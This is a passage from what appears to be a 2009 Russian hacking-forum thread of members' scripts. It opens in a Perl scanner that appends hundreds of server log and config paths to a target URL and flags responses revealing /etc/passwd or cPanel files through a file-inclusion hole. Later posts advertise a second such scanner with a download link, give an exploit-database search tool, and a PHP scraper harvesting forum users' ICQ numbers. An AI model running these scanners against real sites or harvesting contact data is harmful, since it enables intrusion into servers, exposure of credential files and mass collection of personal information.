    '/usr/local/apache2/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf',
    '/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf',
    '/usr/local/apps/apache/conf/httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf',
    '/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini',
    '/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini',
    '/usr/local/etc/apache/vhosts.conf','/usr/local/Zend/etc/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log',
    '/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/usr/local/cpanel/logs/stats_log','/usr/sbin/pure-config.pl',
    '/usr/etc/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl',
    '/usr/local/pureftpd/etc/pure-ftpd.conf','/usr/ports/ftp/pure-ftpd/','/usr/ports/net/pure-ftpd/','/usr/pkgsrc/net/pureftpd/','/usr/ports/contrib/pure-ftpd/',
    '/var/www/logs/access_log','/var/www/logs/access.log','/var/log/apache/access_log','/var/log/apache2/access_log','/var/log/apache/access.log','/var/log/apache2/access.log',
    '/var/log/access_log','/var/log/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/log/apache/error_log',
    '/var/log/apache2/error_log','/var/log/apache/error.log','/var/log/apache2/error.log','/var/log/error_log','/var/log/error.log',
    '/var/log/httpd/access_log','/var/log/httpd/error_log','/var/log/httpd/access_log','/var/log/httpd/error_log','/var/www/logs/access_log','/var/www/logs/access.log',
    '/var/www/logs/error_log','/var/www/logs/error.log','/var/log/httpd/access_log','/var/log/httpd/access.log','/var/log/httpd/error_log','/var/log/httpd/error.log',
    '/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log',
    '/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/access_log','/var/log/access.log','/var/log/error_log','/var/log/error.log','/var/www/logs/access_log',
    '/var/www/logs/access.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/access_log','/var/www/logs/error_log','/var/www/logs/error.log',
    '/var/log/apache/error_log','/var/log/apache/error.log','/var/log/access_log','/var/log/error_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log',
    '/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf',
    '/var/log/proftpd','/var/log/vsftpd.log','/var/log/xferlog','/var/adm/log/xferlog','/var/log/pure-ftpd/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log',
    '/var/log/ftp-proxy','/var/log/ftplog','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog',
    '/var/log/exim/rejectlog','/var/log/exim_rejectlog','/var/local/www/conf/php.ini','/var/www/conf/httpd.conf',
    '/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log',
    '/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log',
    '/apache/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log',
    '/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache/logs/error.log',
    '/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log',
    '/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log',
    '/opt/lampp/logs/access_log','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log',
    '/Program Files\Apache Group\Apache\logs\access.log','/Program Files\Apache Group\Apache\logs\error.log','/Program Files\Apache Group\Apache\conf\httpd.conf',
    '/Program Files\Apache Group\Apache2\conf\httpd.conf','/Program Files\xampp\apache\conf\httpd.conf',
    '/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default',
    '/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
    '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
    '/bin/php.ini','/web/conf/php.ini','/opt/xampp/etc/php.ini','/php5\php.ini','/php4\php.ini','/php\php.ini','/PHP\php.ini','/WINDOWS\php.ini','/WINNT\php.ini','/apache\php\php.ini','/xampp\apache\bin\php.ini','/NetServer\bin\stable\apache\php.ini','/home2\bin\stable\apache\php.ini','/home\bin\stable\apache\php.ini','/www/logs/proftpd.system.log',);
    
    print "\n### Scanning....\n\n";
    foreach $patchs( @patchs){
    $url = $site.$patchs;
    $start = LWP::UserAgent->new( ) or die;
    $ans = $start->get($url);
    if ($ans->content =~ /bin:x|root:x|phpmyadmin|cpanel|nologin/) 
    { 
    print "$url \n<<< ## FOUND ## >>>\n";
    }
    else 
    { 
    print "$url # not found!\n";
    }
    }
    
    
     
    #693 ph1l1ster, 25 Mar 2009
    Last edited: 25 Mar 2009
    1 person likes this.
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    PHP:
    <?
    $url="http://www.rapidshare.ru/976846";                    //Ссылка на файл
    $url=file_get_contents($url);                              //Достаем сорс страницы
    preg_match("# <a href=\"\'\+\'(.*)\">.*</a>#",$url,$d);    //Достаем ссылку
    header("Location: $d[1]");                                 //Качаем файл
    ?>
    Скрипт закачки файла с рапида.ру без ожидания.
     
    1 person likes this.
  15. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    а не удобней будет "держать" массив @patchs в файле?
    и при запуске считывать в массив?
     
    1 person likes this.
  16. ReGGeR[Vk]

    ReGGeR[Vk] Banned

    Joined:
    19 Mar 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    eLWAux,
    Code:
     #! /usr/bin/perl -w 
    
    use IO::Socket; 
    use warnings;
    use threads; 
    use threads::shared; 
    use Fcntl ':flock';
    
    ты не замечаешь в начале своего реггера ничего странного?)
     
  17. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    "-w" vs. "use warnings;"?) предохраняемся)
    Code:
    #! /usr/bin/perl -w 
    use IO::Socket; 
    use threads; 
    use threads::shared; 
    use Fcntl ':flock';
    
    :)
     
  18. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Universal Include Path Scanner

    #########################
    # Universal Include Path Scanner
    # version 2.0
    # coded by ph1l1ster
    # icq: 612672
    #########################



    Поик логов\конфигов через инклуд.

    -Etc (passwd)
    -Apache logs
    -Apache config
    -PHP.ini
    -Cpanel logs
    -Cpanel config
    -MySql logs
    -MySql config
    -MySql config (win)
    -MySql logs (win)
    -Other (Mod Security, ProFTPD, Pure-FTPd, Exim, MuddleFTPD, lighthttpd, Samba, PostgreSQL, ipfw, osx, Webmin, SquirrelMail)
    -ALL


    http://ifolder.ru/11250872
     
  19. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Exploit & Vulnerability Searcher

    Скрипт ищет уязвимости по известным сайтам:
    milw0rm.com
    securityvulns.com
    securiteam.com
    securitydot.net
    packetstormsecurity.org


    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    system('cls');
    print qq{
    ########################################
    #   Exploit \& Vulnerability Searcher   #
    #         coded by ph1l1ster           #
    ########################################};
    print "\n\n\nWhat search?:\n";
    print "> ";
    $spl = <STDIN>;
    chomp($spl);
    system('cls');
    # milw0rm.com
    print ">>> # Milw0rm.com \n\n";
    $url = "http://www.milw0rm.com/search.php?dong=".$spl."&Submit=submit";
    $start = LWP::UserAgent->new( ) or die;
    $ans = $start->get($url);
    if (@spl = $ans->content =~ /<a href=\"(.*)\" target=\"_blank\" class=\"style14\">/g){
    print "\nhttp://milw0rm.com";
    print join "\nhttp://milw0rm.com", @spl;}
    else {
    print "NOT FOUND!";}
    # securityvulns.com
    print "\n\n>> # securityvulns.comn\n";
    $url = "http://securityvulns.com/exploits/?keyword=".$spl;
    $start = LWP::UserAgent->new( ) or die;
    $ans = $start->get($url);
    if (@spl = $ans->content =~ /<A class="tiny" HREF=\"\/files\/([^"]*)\">/g){
    print "\nhttp://securityvulns.com/files/";
    print join "\nhttp://securityvulns.com/files/", @spl;}
    else {
    print "NOT FOUND!";}
    # securiteam.com
    print "\n\n>> # securiteam.com\n\n";
    $url = "http://www.securiteam.com/cgi-bin/htsearch?words=".$spl."&method=and&format=builtin-long&sort=score&restrict=&exclude=&x=0&y=0";
    $start = LWP::UserAgent->new( ) or die;
    $ans = $start->get($url);
    if (@spl = $ans->content =~ /<A STYLE=\"color: #333;\" HREF=\"(.*)\">.*<\/A>&nbsp;<img src=\"/g){
    print join "\n", @spl;}
    else {
    print "NOT FOUND!";}
    # securitydot.net
    print "\n\n>> # securitydot.net\n\n";
    $url = "http://securitydot.net/search.php?sch=sch&metaname=all&query=".$spl;
    $start = LWP::UserAgent->new( ) or die;
    $ans = $start->get($url);
    if (@spl = $ans->content =~ /<li>.*<a href=\"(.*)\"><b>.*<\/b><\/a><\/li>/g){
    print "\nhttp://securitydot.net";
    print join "\nhttp://securitydot.net", @spl;}
    else {
    print "NOT FOUND!";}
    if (@spl = $ans->content =~ /<img src=\".*\" alt=\".*\"><a href=\"(.*)\"><b>.*<\/b><\/a><\/li>/g){
    print "\nhttp://securitydot.net";
    print join "\nhttp://securitydot.net", @spl;}
    else {
    print "NOT FOUND!";}
    # packetstormsecurity.org
    print "\n\n>> # packetstormsecurity.org\n\n";
    $url = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$spl."&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0";
    $start = LWP::UserAgent->new( ) or die;
    $ans = $start->get($url);
    if (@spl = $ans->content =~ /<a class=\"fname\" href=\"(.*)\">.*<\/a>/g){
    print join "\n", @spl;}
    else {
    print "NOT FOUND!";}
    # (c)ph1l1ster
     
  20. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Сборщик номеров ICQ пользователей античата:
    PHP:
    <?php

    $n 
    implode(file("n.txt"));
    $n++;
    $f fopen("icq.txt","a");
    for(
    $i $n;;$i++)  

        
    $url "http://forum.antichat.ru/member.php?u=".$i;  
        
    $str file_get_contents($url);
        
    $pos strpos($str'<img src="fusion/misc/im_icq.gif"');    
        if (
    $pos <> false)
    {
        
    preg_match_all("/(?<=Просмотр профиля:\s)(.*)(?=<\/title>)/"$str$name);
        
    preg_match_all("/(?<=\(\'icq\', \'".$i."\', 500, 450\)\">)(.*)(?=<\/a>)/"$str$icq);
        
    fwrite($farray_pop(array_shift($name)).":".array_pop(array_shift($icq))."\r\n");
        
    $fn fopen("n.txt","w");
        
    fwrite($fn,$i);
        
    fclose($fn);
        
    $str '';
    }
      
    }  
    ?> 
    icq.txt - база номеров в формате %username%:icq
    n.txt - файл, хранящий ID последнего добавленного в базу пользователя.. (чтобы при повторном запуске скрипт начал работать не с самого начала)
    в n.txt изначально записать 0
     
    1 person likes this.